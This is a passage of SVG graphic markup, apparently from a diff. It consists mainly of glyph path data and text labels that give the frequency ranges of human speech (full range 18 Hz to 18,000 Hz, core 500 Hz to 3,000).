4.944q1.66 0 2.93.855 1.269.854 1.916 2.411.647 1.556.647 3.411 0 1.99-.714 3.583-.714 1.593-2.075 2.442-1.361.848-2.863.848-1.098 0-1.971-.464t-1.434-1.172v6.311h-2.198v-17.932h2.002v1.685q.708-.989 1.599-1.483.891-.495 2.161-.495zm-.208 1.721q-1.403 0-2.484 1.313-1.08 1.312-1.08 3.814 0 2.503 1.013 3.699 1.013 1.196 2.454 1.196 1.465 0 2.508-1.239 1.044-1.239 1.044-3.839 0-2.478-1.019-3.711-1.019-1.233-2.436-1.233zm339.356 9.033v2.503q0 1.379-.488 2.228-.489.848-1.551 1.312l-.61-.94q.696-.305 1.025-.897.33-.592.367-1.703h-1.245v-2.503h2.502zm36.902-15.466q1.44 0 2.527.58 1.086.58 1.794 1.672.708 1.093 1.111 2.662.403 1.568.403 4.229 0 3.15-.647 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276 0-3.174.653-5.108.653-1.935 1.941-2.985 1.288-1.05 3.241-1.05zm-.025 1.819q-1.513 0-2.417 1.282-1.135 1.636-1.135 6.042 0 4.407 1.032 5.866 1.031 1.459 2.545 1.459 1.513 0 2.545-1.465 1.031-1.465 1.031-5.86 0-4.419-1.031-5.871-1.032-1.453-2.57-1.453zm-13.879-1.819q1.44 0 2.527.58 1.086.58 1.794 1.672.708 1.093 1.111 2.662.403 1.568.403 4.229 0 3.15-.647 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276 0-3.174.653-5.108.653-1.935 1.941-2.985 1.288-1.05 3.241-1.05zm-.024 1.819q-1.514 0-2.417 1.282-1.136 1.636-1.136 6.042 0 4.407 1.032 5.866 1.031 1.459 2.545 1.459t2.545-1.465q1.032-1.465 1.032-5.86 0-4.419-1.032-5.871-1.031-1.453-2.569-1.453zm-13.88-1.819q1.441 0 2.527.58t1.794 1.672q.709 1.093 1.111 2.662.403 1.568.403 4.229 0 3.15-.647 5.085-.647 1.934-1.935 2.99-1.287 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276 0-3.174.653-5.108.653-1.935 1.941-2.985 1.288-1.05 3.241-1.05zm-.024 1.819q-1.514 0-2.417 1.282-1.135 1.636-1.135 6.042 0 4.407 1.031 5.866 1.032 1.459 2.545 1.459 1.514 0 2.545-1.465 1.032-1.465 1.032-5.86 0-4.419-1.032-5.871-1.031-1.453-2.569-1.453zm-20.826-1.819q2.344 0 3.773 1.361 1.428 1.361 1.428 3.315 0 1.245-.653 2.166-.653.922-1.984 1.422 1.648.538 2.509 1.734.86 1.196.86 2.856 0 2.295-1.623 3.858-1.624 1.562-4.273 1.562-2.649 0-4.272-1.568-1.624-1.569-1.624-3.913 0-1.745.885-2.923t2.521-1.606q-1.367-.5-2.026-1.428-.66-.928-.66-2.221 0-1.954 1.404-3.284 1.404-1.331 3.736-1.331zm-.012 9.216q-1.55.001-2.569 1.026-1.019 1.025-1.019 2.563 0 .94.445 1.819.446.879 1.325 1.361.878.483 1.892.483 1.574 0 2.6-1.014 1.025-1.013 1.025-2.575 0-1.587-1.056-2.625-1.056-1.037-2.643-1.037zm.037-7.409q-1.257 0-2.087.806-.83.805-.83 1.928 0 1.27.817 2.075.818.806 2.124.806 1.27 0 2.082-.799.811-.8.811-1.96 0-1.208-.836-2.032-.836-.824-2.081-.824zm-87.549-1.807q2.344 0 3.772 1.361t1.428 3.315q0 1.245-.653 2.166-.653.922-1.983 1.422 1.648.538 2.508 1.734.861 1.196.861 2.856 0 2.295-1.624 3.858-1.623 1.562-4.272 1.562t-4.273-1.568q-1.623-1.569-1.623-3.913 0-1.745.885-2.923t2.521-1.606q-1.368-.5-2.027-1.428-.659-.928-.659-2.221 0-1.954 1.404-3.284 1.404-1.331 3.735-1.331zm-.012 9.216q-1.55.001-2.57 1.026-1.019 1.025-1.019 2.563 0 .94.446 1.819.445.879 1.324 1.361.879.483 1.892.483 1.575 0 2.6-1.014 1.026-1.013 1.026-2.575 0-1.587-1.056-2.625-1.056-1.037-2.643-1.037zm.036-7.409q-1.257 0-2.087.806-.83.805-.83 1.928 0 1.27.818 2.075.818.806 2.124.806 1.27 0 2.081-.799.812-.8.812-1.96 0-1.208-.836-2.032-.836-.824-2.081-.824zm-255.871-2.039q1.99 0 3.51.641 1.519.641 2.337 1.886.818 1.245.879 2.82l-2.271.171q-.183-1.697-1.238-2.564-1.056-.866-3.119-.866-2.149 0-3.131.787-.983.787-.983 1.898 0 .965.696 1.587.683.623 3.57 1.276 2.887.653 3.961 1.141 1.563.72 2.308 1.825.744 1.105.744 2.545 0 1.429-.818 2.692-.818 1.263-2.35 1.965-1.532.702-3.448.702-2.429 0-4.071-.708t-2.576-2.13q-.934-1.422-.982-3.217l2.233-.195q.159 1.343.739 2.204.58.86 1.801 1.391 1.22.531 2.746.531 1.355 0 2.393-.403 1.037-.403 1.544-1.104.506-.702.506-1.532 0-.843-.488-1.471-.488-.629-1.611-1.056-.72-.281-3.186-.873t-3.455-1.117q-1.281-.671-1.91-1.666-.629-.995-.629-2.228 0-1.355.769-2.533t2.246-1.788q1.477-.611 3.284-.611zm205.92 4.944q2.601 0 4.248 1.77 1.648 1.77 1.648 4.981 0 .195-.012.586l-9.668-.001q.122 2.137 1.209 3.272 1.086 1.135 2.71 1.135 1.208 0 2.063-.634.854-.635 1.355-2.027l2.27.281q-.537 1.99-1.99 3.088-1.452 1.099-3.711 1.099-2.844 0-4.51-1.752-1.666-1.751-1.666-4.913 0-3.272 1.684-5.078 1.685-1.807 4.37-1.807zm.025 1.807q-1.514 0-2.545 1.013-1.032 1.013-1.142 2.71h7.239q-.146-1.636-.83-2.454-1.05-1.269-2.722-1.269zm-41.577-1.807q1.66 0 2.697.391 1.038.39 1.526.982.489.592.684 1.496.11.561.11 2.026v2.93q0 3.064.14 3.876.141.811.556 1.556h-2.295q-.342-.684-.44-1.599-1.22 1.037-2.35 1.465-1.129.427-2.423.427-2.136 0-3.283-1.044-1.148-1.043-1.148-2.667 0-.952.433-1.739.434-.788 1.136-1.264t1.581-.72q.646-.171 1.953-.33 2.661-.317 3.918-.757.012-.451.012-.573 0-1.343-.622-1.892-.843-.745-2.503-.745-1.55 0-2.289.543-.738.543-1.092 1.923l-2.148-.293q.292-1.38.964-2.228.671-.848 1.941-1.306 1.269-.458 2.942-.458zm2.795 6.751q-1.196.488-3.589.83-1.355.195-1.916.439-.562.244-.867.714-.305.47-.305 1.044 0 .879.665 1.465.665.586 1.947.586 1.27 0 2.258-.556.989-.555 1.453-1.519.354-.745.354-2.198v-.805zm-56.14-6.458v7.19q0 1.721.134 2.319.208.867.879 1.361.672.495 1.66.495.989 0 1.856-.507.866-.506 1.227-1.379.36-.873.36-2.533v-6.946h2.197v12.964h-1.965v-1.904q-1.514 2.197-4.114 2.197-1.148 0-2.142-.439-.995-.44-1.478-1.105-.482-.666-.677-1.63-.134-.647-.134-2.051v-8.032h2.197zm-53.857-.293q2.111 0 3.454 1.068t1.721 3.034l-2.136.329q-.305-1.306-1.08-1.965-.775-.659-1.874-.659-1.66 0-2.698 1.19-1.037 1.19-1.037 3.766 0 2.612 1.001 3.796 1.001 1.184 2.612 1.184 1.294 0 2.161-.793.866-.794 1.098-2.442l2.161.281q-.354 2.234-1.813 3.498-1.459 1.263-3.583 1.263-2.661 0-4.278-1.74-1.618-1.739-1.618-4.986 0-2.1.696-3.674.696-1.575 2.118-2.362 1.422-.788 3.095-.788zm-13.819 0q2.6 0 4.248 1.77 1.648 1.77 1.648 4.981 0 .195-.012.586l-9.668-.001q.122 2.137 1.208 3.272 1.087 1.135 2.71 1.135 1.209 0 2.063-.634.855-.635 1.355-2.027l2.271.281q-.537 1.99-1.99 3.088-1.452 1.099-3.711 1.099-2.844 0-4.51-1.752-1.667-1.751-1.667-4.913 0-3.272 1.685-5.078 1.685-1.807 4.37-1.807zm.025 1.807q-1.514 0-2.546 1.013-1.031 1.013-1.141 2.71h7.239q-.147-1.636-.83-2.454-1.05-1.269-2.722-1.269zm-13.929-1.807q2.6 0 4.248 1.77 1.648 1.77 1.648 4.981 0 .195-.012.586l-9.668-.001q.122 2.137 1.209 3.272 1.086 1.135 2.71 1.135 1.208 0 2.063-.634.854-.635 1.355-2.027l2.27.281q-.537 1.99-1.99 3.088-1.452 1.099-3.711 1.099-2.844 0-4.51-1.752-1.666-1.751-1.666-4.913 0-3.272 1.684-5.078 1.685-1.807 4.37-1.807zm.025 1.807q-1.514 0-2.545 1.013-1.032 1.013-1.142 2.71h7.239q-.146-1.636-.83-2.454-1.05-1.269-2.722-1.269zm-65.198-1.807q1.66 0 2.698.391 1.037.39 1.526.982.488.592.683 1.496.11.561.11 2.026v2.93q0 3.064.141 3.876.14.811.555 1.556h-2.295q-.342-.684-.439-1.599-1.221 1.037-2.35 1.465-1.129.427-2.423.427-2.137 0-3.284-1.044-1.148-1.043-1.148-2.667 0-.952.434-1.739.433-.788 1.135-1.264t1.581-.72q.647-.171 1.953-.33 2.661-.317 3.918-.757.013-.451.013-.573 0-1.343-.623-1.892-.842-.745-2.502-.745-1.551 0-2.289.543-.739.543-1.093 1.923l-2.148-.293q.293-1.38.964-2.228.672-.848 1.941-1.306 1.27-.458 2.942-.458zm2.795 6.751q-1.196.488-3.588.83-1.355.195-1.917.439-.561.244-.867.714-.305.47-.305 1.044 0 .879.665 1.465.666.586 1.948.586 1.269 0 2.258-.556.989-.555 1.452-1.519.354-.745.354-2.198v-.805zm-40.856-6.458v7.19q0 1.721.134 2.319.207.867.879 1.361.671.495 1.66.495.989 0 1.855-.507.867-.506 1.227-1.379.36-.873.36-2.533v-6.946h2.197v12.964h-1.965v-1.904q-1.514 2.197-4.114 2.197-1.147 0-2.142-.439-.995-.44-1.477-1.105-.482-.666-.677-1.63-.135-.647-.135-2.051v-8.032h2.198zm509.423 0v1.453l-7.019 8.227-1.355 1.502q1.477-.11 2.771-.11h5.994v1.892h-11.475v-1.782l8.252-9.473q-1.403.073-2.478.073h-5.285v-1.782h10.595zm-25.256-4.932v7.349h9.302v-7.349h2.368v17.896h-2.368v-8.435h-9.302v8.435h-2.368v-17.896h2.368zm-78.467-.073v17.969h-2.197v-14.001q-.794.756-2.081 1.513-1.288.757-2.314 1.135v-2.124q1.844-.866 3.223-2.099 1.379-1.233 1.953-2.393h1.416zm-32.458 5.005v1.453l-7.019 8.227-1.355 1.502q1.477-.11 2.771-.11h5.993v1.892h-11.474v-1.782l8.252-9.473q-1.404.073-2.478.073h-5.286v-1.782h10.596zm-25.257-4.932v7.349h9.302v-7.349h2.368v17.896h-2.368v-8.435h-9.302v8.435h-2.368v-17.896h2.368zm-29.809-.073v17.969h-2.197v-14.001q-.794.756-2.082 1.513-1.288.757-2.313 1.135v-2.124q1.843-.866 3.223-2.099 1.379-1.233 1.953-2.393h1.416zm-18.445 15.466v2.503h-2.502v-2.503h2.502zm-47.046-10.754q1.172 0 2.155.421.982.421 1.471 1.105.488.684.683 1.624.122.61.122 2.136v7.971h-2.197v-7.886q0-1.343-.256-2.008-.257-.665-.91-1.062t-1.532-.397q-1.404 0-2.423.892-1.019.891-1.019 3.381v7.08h-2.198v-12.964h1.978v1.843q1.428-2.136 4.126-2.136zm-29.81-4.639q2.393 0 3.638.483 1.245.482 1.99 1.703.745 1.22.745 2.697 0 1.905-1.233 3.211-1.233 1.306-3.809 1.66.94.452 1.428.891 1.038.952 1.966 2.38l3.112 4.871h-2.978l-2.368-3.723q-1.038-1.611-1.709-2.466-.672-.854-1.203-1.196-.531-.342-1.08-.476-.403-.086-1.318-.086h-2.747v7.947h-2.368v-17.896h7.934zm.098 1.978h-5.664v5.92h5.09q1.624 0 2.539-.335.916-.336 1.392-1.074.476-.739.476-1.606 0-1.269-.921-2.087-.922-.818-2.912-.818zm-18.701-1.978v17.896h-2.197v-17.896h2.197zm-5.554 0v17.896h-2.197v-17.896h2.197zm-18.848 0v2.112h-9.705v5.542h8.399v2.112h-8.399v8.13h-2.368v-17.896h12.073zm-39.453 0v6.421q1.538-1.782 3.882-1.782 1.44 0 2.502.568 1.062.567 1.52 1.568.458 1.001.458 2.906v8.215h-2.197v-8.215q0-1.648-.715-2.399-.714-.751-2.02-.751-.976 0-1.837.507-.861.506-1.227 1.373-.366.867-.366 2.393v7.092h-2.197v-17.896h2.197zm-87.83 4.639q1.172 0 2.155.421.983.421 1.471 1.105.488.684.683 1.624.123.61.123 2.136l-.001 7.971h-2.197v-7.886q0-1.343-.256-2.008t-.909-1.062q-.654-.397-1.532-.397-1.404 0-2.424.892-1.019.891-1.019 3.381v7.08h-2.197v-12.964h1.977v1.843q1.429-2.136 4.126-2.136zm-27.27 0q1.929 0 2.966 1.068 1.038 1.068 1.038 3.29v8.899h-2.185v-8.167q0-1.318-.214-1.898-.214-.58-.775-.934-.562-.354-1.318-.354-1.368 0-2.271.91-.903.909-.903 2.911v7.532h-2.198v-8.423q.001-1.465-.537-2.197-.537-.733-1.757-.733-.928 0-1.715.489-.788.488-1.142 1.428-.354.94-.354 2.71v6.726h-2.197v-12.964h1.965v1.819q.611-.952 1.624-1.532 1.013-.58 2.307-.58 1.44 0 2.362.598.922.598 1.3 1.673 1.538-2.271 4.004-2.271zm-42.798-4.639v7.349h9.302v-7.349h2.368v17.896h-2.368v-8.435h-9.302v8.435h-2.368v-17.896h2.368zm406.14 10.315v2.21h-6.75v-2.21h6.75zm-88.928-5.383v2.503h-2.502v-2.503h2.502z" clip-path="url(#d)" filter="url(#e)" fill="rgba(0,0,0,0.85)" transform="translate(-20.5 -142)"/><text transform="translate(517.5 141.418)">
-          <tspan x="-266.101" y="-7" font-family="Arial" font-size="25" fill="#FFF">Human Speech (Full Range): 18 Hz - 18,000 Hz</tspan>
-        </text><text transform="translate(381.753 20.499)">
-        <tspan x="-229.747" y="5.5" font-family="Arial" font-size="25" fill="#FFF">Human Speech (Core): 500 Hz - 3,000 </tspan>
-      </text><path d="M154.008 25.999V8.104h2.368v7.348h9.302V8.104h2.368v17.895h-2.368v-8.435h-9.302v8.435zm26.196 0v-1.904q-1.513 2.197-4.113 2.197-1.148 0-2.143-.439-.995-.44-1.477-1.105-.482-.665-.677-1.63-.135-.647-.135-2.051v-8.032h2.198v7.19q0 1.721.134 2.319.207.867.879 1.362.671.494 1.66.494.989 0 1.855-.507.867-.506 1.227-1.379.36-.873.36-2.533v-6.946h2.198v12.964zm5.408 0V13.035h1.965v1.819q.611-.952 1.624-1.532 1.013-.58 2.307-.58 1.44 0 2.362.598.922.599 1.3 1.673 1.538-2.271 4.004-2.271 1.929 0 2.966 1.068 1.038 1.068 1.038 3.29v8.899h-2.185v-8.166q0-1.319-.214-1.899-.213-.579-.775-.933-.561-.354-1.318-.354-1.367 0-2.271.909-.903.909-.903 2.911v7.532h-2.197v-8.423q0-1.465-.537-2.197-.538-.732-1.758-.732-.928 0-1.715.488-.788.488-1.142 1.428-.354.94-.354 2.71v6.726zm29.285-1.599q-1.221 1.038-2.35 1.465-1.129.427-2.423.427-2.136 0-3.284-1.044-1.147-1.043-1.147-2.667 0-.952.433-1.739.433-.788 1.135-1.264t1.581-.72q.647-.171 1.953-.33 2.661-.317 3.919-.756.012-.452.012-.574 0-1.343-.623-1.892-.842-.745-2.502-.745-1.551 0-2.289.543-.739.543-1.093 1.923l-2.148-.293q.293-1.379.964-2.228.672-.848 1.941-1.306 1.27-.458 2.942-.458 1.66 0 2.698.391 1.038.39 1.526.983.488.592.683 1.495.11.561.11 2.026v2.93q0 3.064.141 3.876.14.811.555 1.556h-2.295q-.342-.684-.439-1.599zm-.183-4.907q-1.197.488-3.589.83-1.355.195-1.917.439-.561.244-.866.714-.306.47-.306 1.044 0 .879.666 1.465.665.586 1.947.586 1.269 0 2.258-.556.989-.555 1.453-1.519.354-.745.354-2.198zm5.627 6.506V13.035h1.978v1.843q1.428-2.136 4.126-2.136 1.171 0 2.154.421.983.422 1.471 1.105.488.684.684 1.624.122.61.122 2.136v7.971h-2.198v-7.886q0-1.342-.256-2.008-.256-.665-.909-1.062-.653-.396-1.532-.396-1.404 0-2.423.891-1.02.891-1.02 3.381v7.08zm20.325-5.749 2.234-.196q.158 1.343.738 2.204.58.86 1.801 1.391 1.22.531 2.746.531 1.355 0 2.393-.403 1.037-.402 1.544-1.104.507-.702.507-1.532 0-.843-.489-1.471-.488-.629-1.611-1.056-.72-.281-3.186-.873t-3.455-1.117q-1.281-.671-1.91-1.666-.629-.995-.629-2.228 0-1.355.769-2.533t2.246-1.788q1.478-.611 3.284-.611 1.99 0 3.51.641 1.519.641 2.337 1.886.818 1.245.879 2.82l-2.27.171q-.183-1.697-1.239-2.564-1.056-.866-3.119-.866-2.149 0-3.131.787-.983.787-.983 1.898 0 .965.696 1.587.683.623 3.57 1.276 2.887.653 3.962 1.141 1.562.72 2.307 1.825.744 1.105.744 2.545 0 1.429-.818 2.692-.817 1.263-2.349 1.965-1.532.702-3.449.702-2.429 0-4.071-.708t-2.576-2.13q-.933-1.422-.982-3.216zm17.199 10.717V13.035h2.002v1.685q.708-.989 1.6-1.483.891-.495 2.16-.495 1.66 0 2.93.855 1.269.854 1.916 2.411.647 1.556.647 3.411 0 1.99-.714 3.583-.714 1.593-2.075 2.442-1.361.848-2.863.848-1.098 0-1.971-.464t-1.434-1.172v6.311zm1.99-11.377q0 2.503 1.013 3.699 1.014 1.196 2.454 1.196 1.465 0 2.509-1.239 1.043-1.239 1.043-3.839 0-2.478-1.019-3.711-1.019-1.233-2.435-1.233-1.404 0-2.484 1.313-1.081 1.312-1.081 3.814zm20.789 2.234 2.27.281q-.537 1.99-1.989 3.088-1.453 1.099-3.711 1.099-2.845 0-4.511-1.752-1.666-1.751-1.666-4.913 0-3.272 1.684-5.078 1.685-1.807 4.371-1.807 2.6 0 4.248 1.77 1.648 1.77 1.648 4.981 0 .195-.013.586h-9.668q.122 2.136 1.209 3.271 1.086 1.135 2.71 1.135 1.208 0 2.063-.634.854-.635 1.355-2.027zm-7.215-3.552h7.239q-.146-1.636-.83-2.454-1.05-1.269-2.722-1.269-1.514 0-2.545 1.013-1.032 1.013-1.142 2.71zm21.119 3.552 2.27.281q-.537 1.99-1.99 3.088-1.452 1.099-3.711 1.099-2.844 0-4.51-1.752-1.666-1.751-1.666-4.913 0-3.272 1.684-5.078 1.685-1.807 4.37-1.807 2.6 0 4.248 1.77 1.648 1.77 1.648 4.981 0 .195-.012.586h-9.668q.122 2.136 1.209 3.271 1.086 1.135 2.71 1.135 1.208 0 2.063-.634.854-.635 1.355-2.027zm-7.215-3.552h7.239q-.146-1.636-.83-2.454-1.05-1.269-2.722-1.269-1.514 0-2.545 1.013-1.032 1.013-1.142 2.71zm20.703 2.979 2.161.28q-.354 2.234-1.813 3.498-1.458 1.263-3.583 1.263-2.661 0-4.278-1.739-1.618-1.74-1.618-4.987 0-2.1.696-3.674.696-1.575 2.118-2.362 1.422-.788 3.095-.788 2.112 0 3.454 1.068 1.343 1.068 1.721 3.034l-2.136.329q-.305-1.306-1.08-1.965-.775-.659-1.874-.659-1.66 0-2.698 1.19-1.037 1.19-1.037 3.766 0 2.612 1.001 3.796 1.001 1.184 2.612 1.184 1.294 0 2.161-.793.866-.794 1.098-2.441zm4.041 4.748V8.104h2.197v6.42q1.538-1.782 3.882-1.782 1.44 0 2.502.568 1.062.567 1.52 1.568.458 1.001.458 2.906v8.215h-2.197v-8.215q0-1.648-.714-2.399-.715-.751-2.021-.751-.976 0-1.837.507-.86.506-1.227 1.373-.366.867-.366 2.393v7.092zm25.049 5.261q-1.819-2.295-3.076-5.371-1.258-3.076-1.258-6.372 0-2.905.94-5.566 1.099-3.089 3.394-6.153h1.574q-1.477 2.539-1.953 3.626-.744 1.684-1.172 3.515-.524 2.283-.524 4.59 0 5.872 3.649 11.731zm17.175-11.535 2.368.598q-.744 2.917-2.679 4.449-1.935 1.532-4.731 1.532-2.893 0-4.705-1.178-1.813-1.178-2.759-3.412t-.946-4.797q0-2.795 1.068-4.877 1.068-2.081 3.04-3.161 1.971-1.081 4.339-1.081 2.686 0 4.517 1.368 1.831 1.367 2.551 3.845l-2.332.549q-.622-1.953-1.806-2.844-1.184-.891-2.979-.891-2.063 0-3.448.989-1.386.988-1.947 2.655-.562 1.666-.562 3.436 0 2.283.666 3.985.665 1.703 2.069 2.546 1.403.842 3.039.842 1.99 0 3.369-1.148 1.38-1.147 1.868-3.405zm4.187-.208q0-3.601 2.002-5.334 1.672-1.441 4.077-1.441 2.673 0 4.37 1.752t1.697 4.84q0 2.502-.751 3.937-.75 1.434-2.185 2.228-1.434.793-3.131.793-2.722 0-4.401-1.746-1.678-1.745-1.678-5.029zm2.258 0q0 2.49 1.087 3.729 1.086 1.239 2.734 1.239 1.636 0 2.722-1.245 1.087-1.245 1.087-3.796 0-2.405-1.093-3.644-1.092-1.239-2.716-1.239-1.648 0-2.734 1.233-1.087 1.233-1.087 3.723zm12.439 6.482V13.035h1.978v1.966q.757-1.38 1.398-1.819.64-.44 1.409-.44 1.111 0 2.259.708l-.757 2.039q-.806-.476-1.611-.476-.721 0-1.294.433-.574.433-.818 1.202-.366 1.172-.366 2.564v6.787zm17.224-4.175 2.271.281q-.537 1.99-1.99 3.088-1.452 1.099-3.711 1.099-2.844 0-4.51-1.752-1.667-1.751-1.667-4.913 0-3.272 1.685-5.078 1.685-1.807 4.37-1.807 2.6 0 4.248 1.77 1.648 1.77 1.648 4.981 0 .195-.012.586h-9.668q.122 2.136 1.208 3.271 1.087 1.135 2.71 1.135 1.209 0 2.063-.634.855-.635 1.355-2.027zm-7.214-3.552h7.239q-.147-1.636-.83-2.454-1.05-1.269-2.722-1.269-1.514 0-2.546 1.013-1.031 1.013-1.141 2.71zm13.684 12.988h-1.575q3.65-5.859 3.65-11.731 0-2.295-.525-4.553-.415-1.831-1.159-3.516-.476-1.098-1.966-3.662h1.575q2.295 3.064 3.394 6.153.94 2.661.94 5.566 0 3.296-1.264 6.372-1.263 3.076-3.07 5.371zm7.495-15.722v-2.503h2.503v2.503zm0 10.461v-2.502h2.503v2.502zm12.671-4.687 2.307-.196q.257 1.685 1.19 2.533.934.849 2.253.849 1.587 0 2.685-1.197 1.099-1.196 1.099-3.174 0-1.879-1.056-2.966-1.056-1.086-2.765-1.086-1.062 0-1.916.482-.855.482-1.343 1.251l-2.063-.268 1.733-9.192h8.899v2.099h-7.141l-.964 4.81q1.611-1.123 3.381-1.123 2.344 0 3.955 1.623 1.611 1.624 1.611 4.175 0 2.429-1.416 4.199-1.721 2.173-4.699 2.173-2.442 0-3.986-1.367t-1.764-3.625zm13.904-4.139q0-3.173.653-5.108.653-1.935 1.941-2.985 1.288-1.05 3.241-1.05 1.44 0 2.527.58 1.086.58 1.794 1.673.708 1.092 1.111 2.661.403 1.568.403 4.229 0 3.15-.647 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276zm2.258 0q0 4.407 1.032 5.866 1.031 1.459 2.545 1.459t2.545-1.465q1.032-1.465 1.032-5.86 0-4.419-1.032-5.871-1.031-1.453-2.57-1.453-1.513 0-2.417 1.282-1.135 1.636-1.135 6.042zm11.646 0q0-3.173.653-5.108.653-1.935 1.941-2.985 1.288-1.05 3.241-1.05 1.44 0 2.527.58 1.086.58 1.794 1.673.708 1.092 1.111 2.661.403 1.568.403 4.229 0 3.15-.647 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276zm2.258 0q0 4.407 1.032 5.866 1.031 1.459 2.545 1.459 1.513 0 2.545-1.465 1.031-1.465 1.031-5.86 0-4.419-1.031-5.871-1.032-1.453-2.57-1.453-1.513 0-2.417 1.282-1.135 1.636-1.135 6.042zm19.556 8.826V8.104h2.368v7.348h9.302V8.104h2.368v17.895h-2.368v-8.435h-9.302v8.435zm16.54 0v-1.782l8.252-9.473q-1.404.073-2.478.073h-5.285v-1.782h10.595v1.453l-7.019 8.227-1.355 1.502q1.477-.11 2.771-.11h5.994v1.892zm19.751-5.371v-2.21h6.751v2.21zm15.528.647 2.197-.293q.378 1.868 1.288 2.692.909.824 2.215.824 1.551 0 2.619-1.075 1.068-1.074 1.068-2.661 0-1.513-.989-2.496-.989-.983-2.515-.983-.622 0-1.55.244l.244-1.928q.22.024.354.024 1.404 0 2.527-.732 1.123-.733 1.123-2.259 0-1.208-.818-2.002-.818-.793-2.112-.793-1.281 0-2.136.806-.854.805-1.098 2.417l-2.198-.391q.403-2.209 1.831-3.424 1.429-1.215 3.553-1.215 1.464 0 2.697.629t1.886 1.715q.653 1.086.653 2.307 0 1.16-.622 2.112-.623.952-1.843 1.514 1.586.366 2.465 1.519.879 1.154.879 2.887 0 2.344-1.709 3.974-1.709 1.629-4.321 1.629-2.356 0-3.912-1.403-1.557-1.404-1.776-3.638zm15.075 4.724v-2.502h2.503v2.502q0 1.379-.489 2.228-.488.848-1.55 1.312l-.61-.94q.696-.305 1.025-.897.33-.592.366-1.703zm5.762-8.826q0-3.173.653-5.108.653-1.935 1.941-2.985 1.288-1.05 3.241-1.05 1.44 0 2.527.58 1.086.58 1.794 1.673.708 1.092 1.111 2.661.403 1.568.403 4.229 0 3.15-.647 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276zm2.258 0q0 4.407 1.032 5.866 1.031 1.459 2.545 1.459t2.545-1.465q1.032-1.465 1.032-5.86 0-4.419-1.032-5.871-1.031-1.453-2.57-1.453-1.513 0-2.417 1.282-1.135 1.636-1.135 6.042zm11.646 0q0-3.173.653-5.108.653-1.935 1.941-2.985 1.288-1.05 3.241-1.05 1.44 0 2.527.58 1.086.58 1.794 1.673.708 1.092 1.111 2.661.403 1.568.403 4.229 0 3.15-.647 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276zm2.258 0q0 4.407 1.032 5.866 1.031 1.459 2.545 1.459 1.513 0 2.545-1.465 1.031-1.465 1.031-5.86 0-4.419-1.031-5.871-1.032-1.453-2.57-1.453-1.513 0-2.417 1.282-1.135 1.636-1.135 6.042zm11.646 0q0-3.173.653-5.108.653-1.935 1.941-2.985 1.287-1.05 3.241-1.05 1.44 0 2.526.58 1.087.58 1.795 1.673.708 1.092 1.111 2.661.402 1.568.402 4.229 0 3.15-.646 5.085-.647 1.934-1.935 2.99-1.288 1.056-3.253 1.056-2.588 0-4.065-1.855-1.77-2.234-1.77-7.276zm2.258 0q0 4.407 1.031 5.866 1.032 1.459 2.546 1.459 1.513 0 2.545-1.465 1.031-1.465 1.031-5.86 0-4.419-1.031-5.871-1.032-1.453-2.57-1.453-1.514 0-2.417 1.282-1.135 1.636-1.135 6.042z" fill="#363636"/><path d="M154.008 25.999V8.104h2.368v7.348h9.302V8.104h2.368v17.895h-2.368v-8.435h-9.302v8.435zm26.196 0v-1.904q-1.513 2.197-4.113 2.197-1.148 0-2.143-.439-.995-.44-1.477-1.105-.482-.665-.677-1.63-.135-.647-.135-2.051v-8.032h2.198v7.19q0 1.721.134 2.319.207.867.879 1.362.671.494 1.66.494.989 0 1.855-.507.867-.506 1.227-1.379.36-.873.36-2.533v-6.946h2.198v12.964zm5.408 0V13.035h1.965v1.819q.611-.952 1.624-1.532 1.013-.58 2.307-.58 1.44 0 2.362.598.922.599 1.3 1.673 1.538-2.271 4.004-2.271 1.929 0 2.966 1.068 1.038 1.068 1.038 3.29v8.899h-2.185v-8.166q0-1.319-.214-1.899-.213-.579-.775-.933-.561-.354-1.318-.354-1.367 0-2.271.909-.903.909-.903 2.911v7.532h-2.197v-8.423q0-1.465-.537-2.197-.538-.732-1.758-.732-.928 0-1.715.488-.788.488-1.142 1.428-.354.94-.354 2.71v6.726zm29.285-1.599q-1.221 1.038-2.35 1.465-1.129.427-2.423.427-2.136 0-3.284-1.044-1.147-1.043-1.147-2.667 0-.952.433-1.739.433-.788 1.135-1.264t1.581-.72q.647-.171 1.953-.33 2.661-.317 3.919-.756.012-.452.012-.574 0-1.343-.623-1.892-.842-.745-2.502-.745-1.551 0-2.289.543-.739.543-1.093 1.923l-2.148-.293q.293-1.379.964-2.228.672-.848 1.941-1.306 1.27-.458 2.942-.458 1.66 0 2.698.391 1.038.39 1.526.983.488.592.683 1.495.11.561.11 2.026v2.93q0 3.064.141 3.876.14.811.555 1.556h-2.295q-.342-.684-.439-1.599zm-.183-4.907q-1.197.488-3.589.83-1.355.195-1.917.439-.561.244-.866.714-.306.47-.306 1.044 0 .879.666 1.465.665.586 1.947.586 1.269 0 2.258-.556.989-.555 1.453-1.519.354-.745.354-2.198zm5.627 6.506V13.035h1.978v1.843q1.428-2.136 4.126-2.136 1.171 0 2.154.421.983.422 1.471 1.105.488.684.684 1.624.122.61.122 2.136v7.971h-2.198v-7.886q0-1.342-.256-2.008-.256-.665-.909-1.062-.653-.396-1.532-.396-1.404 0-2.423.891-1.02.891-1.02 3.381v7.08zm20.325-5.749 2.234-.196q.158 1.343.738 2.204.58.86 1.801 1.391 1.22.531 2.746.531 1.355 0 2.393-.403 1.037-.402 1.544-1.104.507-.702.507-1.532 0-.843-.489-1.471-.488-.629-1.611-1.056-.72-.281-3.186-.873t-3.455-1.117q-1.281-.671-1.91-1.666-.629-.995-.629-2.228 0-1.355.769-2.533t2.246-1.788q1.478-.611 3.284-.611 1.99 0 3.51.641 1.519.641 2.337 1.886.818 1.245.879 2.82l-2.27.171q-.183-1.697-1.239-2.564-1.056-.866-3.119-.866-2.149 0-3.131.787-.983.787-.983 1.898 